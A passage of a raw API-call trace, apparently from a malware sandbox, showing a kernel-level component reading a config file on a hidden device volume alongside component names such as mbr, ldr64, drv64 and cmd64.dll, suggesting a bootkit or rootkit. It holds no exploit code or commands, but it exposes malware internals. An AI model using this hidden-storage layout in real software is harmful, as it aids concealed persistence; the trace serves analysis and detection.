(hMutex=0xf0) returned 1 [0119.146] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.146] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.146] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.146] KeEnterCriticalRegion () [0119.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.147] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.147] IdePortDispatch () returned 0x103 [0119.147] KeWaitForMutexObject () returned 0x0 [0119.147] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.147] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.147] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.147] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.147] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.147] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa8740 [0119.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.147] KeLeaveCriticalRegion () [0119.147] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.147] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.147] KeEnterCriticalRegion () [0119.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.147] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.147] KeLeaveCriticalRegion () [0119.147] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.147] KeEnterCriticalRegion () [0119.147] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.147] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.147] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.147] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.147] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.147] IdePortDispatch () returned 0x103 [0119.147] KeWaitForMutexObject () returned 0x0 [0119.147] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.147] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.148] KeLeaveCriticalRegion () [0119.148] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.148] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.148] KeEnterCriticalRegion () [0119.148] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.148] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c72000 [0119.148] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.148] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.148] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.148] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.148] IdePortDispatch () returned 0x103 [0119.148] KeWaitForMutexObject () returned 0x0 [0119.148] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.148] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.148] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.148] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.148] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.148] IdePortDispatch () returned 0x103 [0119.148] KeWaitForMutexObject () returned 0x0 [0119.148] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.148] KeLeaveCriticalRegion () [0119.148] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.149] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.149] KeEnterCriticalRegion () [0119.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.149] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.149] KeLeaveCriticalRegion () [0119.149] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.149] KeEnterCriticalRegion () [0119.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.149] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.149] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc1a10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.149] KeLeaveCriticalRegion () [0119.149] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.149] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.149] KeEnterCriticalRegion () [0119.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.149] ExFreePoolWithTag (P=0xfffffa8003aa8740, Tag=0x0) [0119.149] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.149] KeLeaveCriticalRegion () [0119.149] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.149] ReleaseMutex (hMutex=0xf0) returned 1 [0119.149] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.149] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.149] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.149] KeEnterCriticalRegion () [0119.149] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.149] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.149] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.149] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.149] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.149] IdePortDispatch () returned 0x103 [0119.149] KeWaitForMutexObject () returned 0x0 [0119.150] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.150] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.150] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.150] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.150] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.150] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcef60 [0119.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.150] KeLeaveCriticalRegion () [0119.150] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.150] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.150] KeEnterCriticalRegion () [0119.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.150] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.150] KeLeaveCriticalRegion () [0119.150] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.150] KeEnterCriticalRegion () [0119.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.150] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.150] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.150] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.150] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.150] IdePortDispatch () returned 0x103 [0119.150] KeWaitForMutexObject () returned 0x0 [0119.150] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.150] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.150] KeLeaveCriticalRegion () [0119.150] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.150] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.150] KeEnterCriticalRegion () [0119.150] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.150] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c73000 [0119.150] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.151] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.151] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.151] IdePortDispatch () returned 0x103 [0119.151] KeWaitForMutexObject () returned 0x0 [0119.151] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.151] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.151] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.151] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0119.151] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.151] IdePortDispatch () returned 0x103 [0119.151] KeWaitForMutexObject () returned 0x0 [0119.151] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.151] KeLeaveCriticalRegion () [0119.151] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.152] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.152] KeEnterCriticalRegion () [0119.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.152] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.152] KeLeaveCriticalRegion () [0119.152] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.152] KeEnterCriticalRegion () [0119.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.152] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.152] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb6a0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.152] KeLeaveCriticalRegion () [0119.152] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.152] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.152] KeEnterCriticalRegion () [0119.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.152] ExFreePoolWithTag (P=0xfffffa8003bcef60, Tag=0x0) [0119.152] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.152] KeLeaveCriticalRegion () [0119.152] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.152] ReleaseMutex (hMutex=0xf0) returned 1 [0119.152] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.152] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.152] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.152] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.152] KeEnterCriticalRegion () [0119.152] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.152] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.152] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.152] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.152] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.152] IdePortDispatch () returned 0x103 [0119.152] KeWaitForMutexObject () returned 0x0 [0119.152] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.152] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.152] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.153] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.153] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.153] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.153] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.153] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.153] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.153] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.153] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.153] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.153] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.153] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.153] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.153] KeLeaveCriticalRegion () [0119.153] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.153] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.153] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.153] KeEnterCriticalRegion () [0119.153] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.153] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.153] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.153] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.153] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.153] IdePortDispatch () returned 0x103 [0119.153] KeWaitForMutexObject () returned 0x0 [0119.153] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.153] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.153] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.153] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.153] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.153] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.153] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.153] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.153] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.153] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.153] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.153] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.153] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.153] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.153] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.153] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.153] KeLeaveCriticalRegion () [0119.153] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.154] ReleaseMutex (hMutex=0x100) returned 1 [0119.154] Sleep (dwMilliseconds=0x2bf20) [0119.156] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a375e10, dwHighDateTime=0x1d24fa4)) [0119.156] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.156] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.161] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.161] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.161] KeEnterCriticalRegion () [0119.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.161] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.161] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.161] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.161] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.161] IdePortDispatch () returned 0x103 [0119.161] KeWaitForMutexObject () returned 0x0 [0119.161] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.161] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.161] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.161] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.161] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.161] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa86f0 [0119.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.161] KeLeaveCriticalRegion () [0119.161] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.161] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.161] KeEnterCriticalRegion () [0119.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.161] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.161] KeLeaveCriticalRegion () [0119.161] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.161] KeEnterCriticalRegion () [0119.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.161] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.161] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.161] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.161] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.161] IdePortDispatch () returned 0x103 [0119.162] KeWaitForMutexObject () returned 0x0 [0119.162] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.162] KeLeaveCriticalRegion () [0119.162] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.162] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.162] KeEnterCriticalRegion () [0119.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.162] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c76000 [0119.162] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.162] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0119.162] 